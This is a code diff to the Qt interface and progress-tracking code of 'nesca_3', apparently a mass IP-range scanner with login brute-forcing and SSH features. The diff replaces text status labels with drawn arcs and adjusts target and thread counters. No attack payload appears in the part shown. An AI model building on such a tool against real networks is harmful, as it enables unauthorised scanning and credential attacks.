connect ( stt, SIGNAL(changeBAValue(QString)), ui->labelBAThreads_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeStatus(QString)), ui->labelStatus_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeTargetsLeft(QString)), ui->labelTargetsLeft_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeOffline(QString)), ui->labelOffline_Value, SLOT(setText(QString)));
connect ( stt, SIGNAL(changeBAData(QString)), ui->BAText, SLOT(append(QString))); connect ( stt, SIGNAL(changeBAData(QString)), ui->BAText, SLOT(append(QString)));
connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString))); connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString)));
connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString))); connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString)));
@ -2665,8 +2736,26 @@ void _startMsgCheck()
ui->dataText->setOpenExternalLinks(true); ui->dataText->setOpenExternalLinks(true);
ui->dataText->setOpenLinks(false); ui->dataText->setOpenLinks(false);
ui->rVerLabel->hide(); ui->rVerLabel->hide();
setSceneArea(); setSceneArea();
dots << 0.5 << 0.3 << 0.5 << 0.3;
dotsThreads << 0.1 << 0.2 << 0.1 << 0.2;
penAllThreads.setCapStyle(Qt::FlatCap);
penAllThreads.setDashPattern(dotsThreads);
penThreads.setCapStyle(Qt::FlatCap);
penBAThreads.setDashPattern(dots);
penBAThreads.setCapStyle(Qt::FlatCap);
penAllTargets.setCapStyle(Qt::FlatCap);
penTargets.setCapStyle(Qt::FlatCap);
penSaved.setCapStyle(Qt::FlatCap);
multiFontSmallFontPie.setFamily("small_fonts");
multiFontSmallFontPie.setPixelSize(9);
multiFontSmallFontArc.setFamily("small_fonts");
multiFontSmallFontArc.setPixelSize(10);
multiFontSmallFontArc.setUnderline(true);
ui->ipLabel->setFont(multiFontSmallFontArc);
tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this); tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this);
tray->hide(); tray->hide();
@ -2678,8 +2767,7 @@ void _startMsgCheck()
const std::string &gVERStr = GetVer(); const std::string &gVERStr = GetVer();
strcpy(gVER, gVERStr.c_str()); strcpy(gVER, gVERStr.c_str());
QString QVER(gVER); ui->logoLabel->setToolTip("v3-" + QString(gVER));
ui->logoLabel->setToolTip("v3-" + QVER);
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
@ -2690,9 +2778,6 @@ void _startMsgCheck()
dtHN->start(); dtHN->start();
dtME2->start(); dtME2->start();
adtHN->start(); adtHN->start();
pbPointerFont.setFamily("Eurostile");
pbPointerFont.setPixelSize(8);
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
WSADATA wsda; WSADATA wsda;
@ -2710,6 +2795,7 @@ void _startMsgCheck()
_startVerCheck(); _startVerCheck();
_startMsgCheck(); _startMsgCheck();
qrp.setMinimal(true); qrp.setMinimal(true);
drawVerboseArcs(0);
} }
void nesca_3::mousePressEvent(QMouseEvent *event) void nesca_3::mousePressEvent(QMouseEvent *event)
@ -2789,9 +2875,7 @@ void nesca_3::STTTerminate()
ui->tabMainWidget->setTabEnabled(1, true); ui->tabMainWidget->setTabEnabled(1, true);
ui->tabMainWidget->setTabEnabled(2, true); ui->tabMainWidget->setTabEnabled(2, true);
ui->tabMainWidget->setTabEnabled(3, true); ui->tabMainWidget->setTabEnabled(3, true);
stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); stt->doEmitionUpdateArc(0);
stt->doEmitionIPS("0");
stt->doEmitionChangeBA("0");
BrutingThrds = 0; BrutingThrds = 0;
cons = 0; cons = 0;
setButtonStyleArea(); setButtonStyleArea();
@ -2965,8 +3049,7 @@ void nesca_3::appendErrText(QString str)
if(stt->isRunning() == false) if(stt->isRunning() == false)
{ {
startFlag = false; startFlag = false;
stt->doEmitionChangeStatus("Idle"); stt->doEmitionChangeStatus("Idle");
stt->doEmitionIPS("0");
ui->startScanButton_3->setText("Start"); ui->startScanButton_3->setText("Start");
stt->terminate(); stt->terminate();
}; };

View File

@ -124,6 +124,7 @@ protected:
void appendGreenBAData(QString str); void appendGreenBAData(QString str);
void appendRedBAData(QString str); void appendRedBAData(QString str);
void STTTerminate(); void STTTerminate();
void drawVerboseArcs(unsigned long gTargets);
private: private:
QPoint dragPosition; QPoint dragPosition;
}; };

View File

@ -1445,9 +1445,9 @@ border-radius: 3px;</string>
<widget class="QLabel" name="labelNesca_3"> <widget class="QLabel" name="labelNesca_3">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>95</x> <x>123</x>
<y>10</y> <y>11</y>
<width>306</width> <width>271</width>
<height>20</height> <height>20</height>
</rect> </rect>
</property> </property>
@ -1535,52 +1535,22 @@ border-radius: 3px;</string>
<string>X</string> <string>X</string>
</property> </property>
</widget> </widget>
<widget class="QLabel" name="labelIpRange">
<property name="geometry">
<rect>
<x>20</x>
<y>230</y>
<width>61</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<italic>false</italic>
<bold>false</bold>
<underline>true</underline>
<kerning>false</kerning>
</font>
</property>
<property name="layoutDirection">
<enum>Qt::LeftToRight</enum>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Current IP:</string>
</property>
</widget>
<widget class="QLabel" name="labelThreads"> <widget class="QLabel" name="labelThreads">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>20</x> <x>89</x>
<y>255</y> <y>325</y>
<width>61</width> <width>15</width>
<height>20</height> <height>15</height>
</rect> </rect>
</property> </property>
<property name="font"> <property name="font">
<font> <font>
<family>Small Fonts</family> <family>Sans</family>
<pointsize>7</pointsize> <pointsize>10</pointsize>
<weight>50</weight> <weight>50</weight>
<bold>false</bold> <bold>false</bold>
<underline>true</underline> <underline>false</underline>
<kerning>false</kerning> <kerning>false</kerning>
</font> </font>
</property> </property>
@ -1588,40 +1558,15 @@ border-radius: 3px;</string>
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string> <string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property> </property>
<property name="text"> <property name="text">
<string>Threads:</string> <string>:</string>
</property> </property>
</widget> </widget>
<widget class="QLabel" name="labelBaThreads"> <widget class="QLabel" name="ipLabel">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>20</x> <x>37</x>
<y>280</y> <y>351</y>
<width>71</width> <width>150</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>Brute threads:</string>
</property>
</widget>
<widget class="QLabel" name="labelIpRange_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>230</y>
<width>394</width>
<height>20</height> <height>20</height>
</rect> </rect>
</property> </property>
@ -1637,7 +1582,7 @@ border-radius: 3px;</string>
<pointsize>7</pointsize> <pointsize>7</pointsize>
<weight>50</weight> <weight>50</weight>
<bold>false</bold> <bold>false</bold>
<underline>false</underline> <underline>true</underline>
</font> </font>
</property> </property>
<property name="autoFillBackground"> <property name="autoFillBackground">
@ -1649,13 +1594,16 @@ border-radius: 3px;</string>
<property name="text"> <property name="text">
<string>--</string> <string>--</string>
</property> </property>
<property name="alignment">
<set>Qt::AlignCenter</set>
</property>
</widget> </widget>
<widget class="QLabel" name="labelThreads_Value"> <widget class="QLabel" name="labelRunningThreads">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>95</x> <x>104</x>
<y>255</y> <y>324</y>
<width>91</width> <width>67</width>
<height>20</height> <height>20</height>
</rect> </rect>
</property> </property>
@ -1672,82 +1620,7 @@ border-radius: 3px;</string>
<string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string> <string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string>
</property> </property>
<property name="text"> <property name="text">
<string>0/0</string> <string>0/0/0</string>
</property>
</widget>
<widget class="QLabel" name="labelBAThreads_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>280</y>
<width>61</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0</string>
</property>
</widget>
<widget class="QLabel" name="labelIPS">
<property name="geometry">
<rect>
<x>20</x>
<y>330</y>
<width>61</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>IP/s:</string>
</property>
</widget>
<widget class="QLabel" name="labelIPS_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>330</y>
<width>106</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0</string>
</property> </property>
</widget> </widget>
<widget class="QTextBrowser" name="dataText"> <widget class="QTextBrowser" name="dataText">
@ -1812,78 +1685,10 @@ p, li { white-space: pre-wrap; }
<bool>false</bool> <bool>false</bool>
</property> </property>
</widget> </widget>
<widget class="QLabel" name="labelParsed">
<property name="geometry">
<rect>
<x>20</x>
<y>355</y>
<width>73</width>
<height>20</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="minimumSize">
<size>
<width>0</width>
<height>0</height>
</size>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="lineWidth">
<number>1</number>
</property>
<property name="text">
<string>Saved/Online:</string>
</property>
<property name="wordWrap">
<bool>false</bool>
</property>
</widget>
<widget class="QLabel" name="labelParsed_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>355</y>
<width>108</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0/0</string>
</property>
</widget>
<widget class="QLabel" name="labelStatus"> <widget class="QLabel" name="labelStatus">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>11</x> <x>19</x>
<y>783</y> <y>783</y>
<width>41</width> <width>41</width>
<height>10</height> <height>10</height>
@ -1923,7 +1728,7 @@ p, li { white-space: pre-wrap; }
<widget class="QLabel" name="labelStatus_Value"> <widget class="QLabel" name="labelStatus_Value">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>51</x> <x>58</x>
<y>783</y> <y>783</y>
<width>101</width> <width>101</width>
<height>10</height> <height>10</height>
@ -1945,34 +1750,34 @@ p, li { white-space: pre-wrap; }
<widget class="QLabel" name="labelTargetsLeft"> <widget class="QLabel" name="labelTargetsLeft">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>20</x> <x>89</x>
<y>305</y> <y>335</y>
<width>61</width> <width>16</width>
<height>20</height> <height>20</height>
</rect> </rect>
</property> </property>
<property name="font"> <property name="font">
<font> <font>
<family>Small Fonts</family> <family>Sans</family>
<pointsize>7</pointsize> <pointsize>10</pointsize>
<weight>50</weight> <weight>50</weight>
<bold>false</bold> <bold>false</bold>
<underline>true</underline> <underline>false</underline>
</font> </font>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string> <string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property> </property>
<property name="text"> <property name="text">
<string>Targets:</string> <string>:</string>
</property> </property>
</widget> </widget>
<widget class="QLabel" name="labelTargetsLeft_Value"> <widget class="QLabel" name="labelPendingTargets">
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>95</x> <x>104</x>
<y>305</y> <y>337</y>
<width>114</width> <width>71</width>
<height>20</height> <height>20</height>
</rect> </rect>
</property> </property>
@ -2553,74 +2358,6 @@ p, li { white-space: pre-wrap; }
<set>QGraphicsView::CacheNone</set> <set>QGraphicsView::CacheNone</set>
</property> </property>
</widget> </widget>
<widget class="QLabel" name="labelBadAddr">
<property name="geometry">
<rect>
<x>19</x>
<y>380</y>
<width>73</width>
<height>20</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="minimumSize">
<size>
<width>0</width>
<height>0</height>
</size>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="lineWidth">
<number>1</number>
</property>
<property name="text">
<string>Offline:</string>
</property>
<property name="wordWrap">
<bool>false</bool>
</property>
</widget>
<widget class="QLabel" name="labelOffline_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>380</y>
<width>71</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0</string>
</property>
</widget>
<widget class="QTextBrowser" name="BAText"> <widget class="QTextBrowser" name="BAText">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -3229,9 +2966,9 @@ background-color: #000000;</string>
</property> </property>
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>36</x> <x>31</x>
<y>15</y> <y>16</y>
<width>86</width> <width>82</width>
<height>10</height> <height>10</height>
</rect> </rect>
</property> </property>
@ -3291,27 +3028,97 @@ background-color: #000000;</string>
<string/> <string/>
</property> </property>
</widget> </widget>
<widget class="QGraphicsView" name="graphicsTest">
<property name="geometry">
<rect>
<x>9</x>
<y>229</y>
<width>210</width>
<height>211</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
</font>
</property>
<property name="styleSheet">
<string notr="true">border:1px white solid;background-color: rgba(26, 26,26, 0);</string>
</property>
<property name="verticalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
<property name="horizontalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
<property name="renderHints">
<set>QPainter::TextAntialiasing</set>
</property>
<property name="cacheMode">
<set>QGraphicsView::CacheNone</set>
</property>
</widget>
<widget class="QLabel" name="labelSavedValue">
<property name="geometry">
<rect>
<x>104</x>
<y>311</y>
<width>67</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0</string>
</property>
</widget>
<widget class="QLabel" name="labelSaved">
<property name="geometry">
<rect>
<x>89</x>
<y>312</y>
<width>15</width>
<height>15</height>
</rect>
</property>
<property name="font">
<font>
<family>Sans</family>
<pointsize>10</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
<kerning>false</kerning>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>✔:</string>
</property>
</widget>
<zorder>graphicTextPlacer</zorder> <zorder>graphicTextPlacer</zorder>
<zorder>BAText</zorder> <zorder>BAText</zorder>
<zorder>labelNesca_3</zorder> <zorder>labelNesca_3</zorder>
<zorder>tabMainWidget</zorder> <zorder>tabMainWidget</zorder>
<zorder>line</zorder> <zorder>line</zorder>
<zorder>exitButton</zorder> <zorder>exitButton</zorder>
<zorder>labelIpRange</zorder>
<zorder>labelThreads</zorder>
<zorder>labelBaThreads</zorder>
<zorder>labelIpRange_Value</zorder>
<zorder>labelThreads_Value</zorder>
<zorder>labelBAThreads_Value</zorder>
<zorder>labelIPS</zorder>
<zorder>labelIPS_Value</zorder>
<zorder>dataText</zorder> <zorder>dataText</zorder>
<zorder>labelParsed</zorder>
<zorder>labelParsed_Value</zorder>
<zorder>labelStatus</zorder> <zorder>labelStatus</zorder>
<zorder>labelStatus_Value</zorder> <zorder>labelStatus_Value</zorder>
<zorder>labelTargetsLeft</zorder>
<zorder>labelTargetsLeft_Value</zorder>
<zorder>line_2</zorder> <zorder>line_2</zorder>
<zorder>RedLabel</zorder> <zorder>RedLabel</zorder>
<zorder>YellowLabel</zorder> <zorder>YellowLabel</zorder>
@ -3334,8 +3141,6 @@ background-color: #000000;</string>
<zorder>graphicDelim</zorder> <zorder>graphicDelim</zorder>
<zorder>graphicLog_2</zorder> <zorder>graphicLog_2</zorder>
<zorder>graphicLog_Upper</zorder> <zorder>graphicLog_Upper</zorder>
<zorder>labelBadAddr</zorder>
<zorder>labelOffline_Value</zorder>
<zorder>switcherBut</zorder> <zorder>switcherBut</zorder>
<zorder>labelTracker</zorder> <zorder>labelTracker</zorder>
<zorder>graphicActivityGrid</zorder> <zorder>graphicActivityGrid</zorder>
@ -3358,6 +3163,14 @@ background-color: #000000;</string>
<zorder>labelSSH</zorder> <zorder>labelSSH</zorder>
<zorder>rVerLabel</zorder> <zorder>rVerLabel</zorder>
<zorder>NSTrackStatusLabel</zorder> <zorder>NSTrackStatusLabel</zorder>
<zorder>graphicsTest</zorder>
<zorder>ipLabel</zorder>
<zorder>labelTargetsLeft</zorder>
<zorder>labelPendingTargets</zorder>
<zorder>labelThreads</zorder>
<zorder>labelRunningThreads</zorder>
<zorder>labelSavedValue</zorder>
<zorder>labelSaved</zorder>
</widget> </widget>
<widget class="QWidget" name="widgetJOB" native="true"> <widget class="QWidget" name="widgetJOB" native="true">
<property name="geometry"> <property name="geometry">
@ -3488,10 +3301,10 @@ background-color: #000000;</string>
<string>:Jobs</string> <string>:Jobs</string>
</property> </property>
</widget> </widget>
<zorder>widget</zorder>
<zorder>widgetJOB</zorder> <zorder>widgetJOB</zorder>
<zorder>JobModeBut</zorder> <zorder>widget</zorder>
<zorder>DataflowModeBut</zorder> <zorder>DataflowModeBut</zorder>
<zorder>JobModeBut</zorder>
</widget> </widget>
</widget> </widget>
<layoutdefault spacing="6" margin="11"/> <layoutdefault spacing="6" margin="11"/>

View File

@ -20,7 +20,7 @@ int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0; int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0;
int GlobalNegativeSize = 0; int GlobalNegativeSize = 0;
int ipCounter = 0; int ipCounter = 0;
int found = 0, indexIP = 1; int found = 0, indexIP = 0;
int gMode; int gMode;
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
int ipsstart[4], ipsend[4], int ipsstart[4], ipsend[4],
@ -334,23 +334,20 @@ void _timer() {
strncpy(b, QString::number(ips).toLocal8Bit().data(), 5); strncpy(b, QString::number(ips).toLocal8Bit().data(), 5);
strcpy(metaIPS, b); strcpy(metaIPS, b);
strcat(timeLeft, b); //strcat(timeLeft, b);
strcat(timeLeft, "/s ("); //strcat(timeLeft, "/s (");
if (ips > 0) //if (ips > 0)
{ //{
strncpy(dbuffer, std::to_string(((gTargets + 1) / ips / 3600 / 24)).c_str(), 5); // strncpy(dbuffer, std::to_string(((gTargets + 1) / ips / 3600 / 24)).c_str(), 5);
} //}
else strcpy(dbuffer, "INF"); //else strcpy(dbuffer, "INF");
strcpy(metaETA, dbuffer); //strcpy(metaETA, dbuffer);
strcat(dbuffer, "d)"); //strcat(dbuffer, "d)");
strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); //strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer));
//ZeroMemory(timeLeft, sizeof(timeLeft));
stt->doEmitionIPS(QString(timeLeft)); //ZeroMemory(dbuffer, sizeof(dbuffer));
ZeroMemory(timeLeft, sizeof(timeLeft));
ZeroMemory(dbuffer, sizeof(dbuffer));
Sleep(1000); Sleep(1000);
}; };
@ -717,7 +714,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) {
gTargets += 65536 * (ipsend[1] - ipsstart[1]); gTargets += 65536 * (ipsend[1] - ipsstart[1]);
gTargets += 256 * (ipsend[2] - ipsstart[2]); gTargets += 256 * (ipsend[2] - ipsstart[2]);
gTargets += (ipsend[3] - ipsstart[3]); gTargets += (ipsend[3] - ipsstart[3]);
gTargetsOverall = gTargets; gTargetsOverall = gTargets + 1;
//unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; //unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3];
//unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; //unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3];
@ -728,13 +725,13 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) {
void verboseProgress(unsigned long target) { void verboseProgress(unsigned long target) {
stt->doEmitionIPRANGE(QString(currentIP)); stt->doEmitionUpdateArc(gTargets);
if(gTargets > 0) --gTargets;
char targetNPers[128] = { 0 }; char targetNPers[128] = { 0 };
float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0);
sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); sprintf(targetNPers, "%Lu (%.1f%%)", target, percent);
stt->doEmitionTargetsLeft(QString(targetNPers));
sprintf(metaTargets, "%Lu", target); sprintf(metaTargets, "%Lu", target);
sprintf(metaPercent, "%.1f", sprintf(metaPercent, "%.1f",
@ -1508,7 +1505,6 @@ int ParseArgs(int argc, char *argv[]) {
if (strstr(p, ",") != NULL) if (strstr(p, ",") != NULL)
{ {
lex = strtok(p, ","); lex = strtok(p, ",");
portArr[indexPorts++] = atoi(lex); portArr[indexPorts++] = atoi(lex);
@ -1539,7 +1535,6 @@ int ParseArgs(int argc, char *argv[]) {
} }
else else
{ {
lex = strtok(p, "-p"); lex = strtok(p, "-p");
portArr[indexPorts++] = atoi(lex); portArr[indexPorts++] = atoi(lex);
}; };
@ -1605,8 +1600,6 @@ void ConInc()
#else #else
asm("lock; incl cons"); asm("lock; incl cons");
#endif #endif
stt->doEmitionThreads(QString::number(cons) + "/" +
QString::number(gThreads));
} }
void ConDec() void ConDec()
{ {
@ -1622,8 +1615,7 @@ void ConDec()
#endif #endif
}; };
stt->doEmitionThreads(QString::number(cons) + "/" + stt->doEmitionUpdateArc(gTargets);
QString::number(gThreads));
} }
void _connect() { void _connect() {
@ -1726,7 +1718,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
++indexIP; ++indexIP;
sprintf(currentIP, "%s%s", mask, gTLD); sprintf(currentIP, "%s%s", mask, gTLD);
verboseProgress(gTargets--); verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect); Threader::fireThread(currentIP, (void*(*)(void))_connect);
}; };
@ -1796,10 +1788,7 @@ int startScan(char* args) {
stt->doEmitionKillSttThread(); stt->doEmitionKillSttThread();
return -1; return -1;
}; };
stt->doEmitionIPRANGE(QString("--"));
stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
runAuxiliaryThreads(); runAuxiliaryThreads();
@ -1833,7 +1822,7 @@ int startScan(char* args) {
strcpy(currentIP, ipVec[0].c_str()); strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin()); ipVec.erase(ipVec.begin());
verboseProgress(gTargets--); verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect); Threader::fireThread(currentIP, (void*(*)(void))_connect);
} }
@ -1854,7 +1843,7 @@ int startScan(char* args) {
tAddr.s_addr = ntohl(i); tAddr.s_addr = ntohl(i);
strcpy(currentIP, inet_ntoa(tAddr)); strcpy(currentIP, inet_ntoa(tAddr));
verboseProgress(gTargets--); verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect); Threader::fireThread(currentIP, (void*(*)(void))_connect);
} }
@ -2036,7 +2025,7 @@ int startScan(char* args) {
++indexIP; ++indexIP;
strcpy(currentIP, ipVec[0].c_str()); strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin()); ipVec.erase(ipVec.begin());
verboseProgress(gTargets--); verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect); Threader::fireThread(currentIP, (void*(*)(void))_connect);
} }
@ -2056,7 +2045,7 @@ int startScan(char* args) {
tAddr.s_addr = ntohl(i); tAddr.s_addr = ntohl(i);
strcpy(currentIP, inet_ntoa(tAddr)); strcpy(currentIP, inet_ntoa(tAddr));
verboseProgress(gTargets--); verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect); Threader::fireThread(currentIP, (void*(*)(void))_connect);
} }
break; break;
@ -2079,7 +2068,6 @@ int startScan(char* args) {
}; };
stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + ".");
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
stt->doEmitionChangeStatus("Idle"); stt->doEmitionChangeStatus("Idle");
Sleep(1000); //Wait for lock release Sleep(1000); //Wait for lock release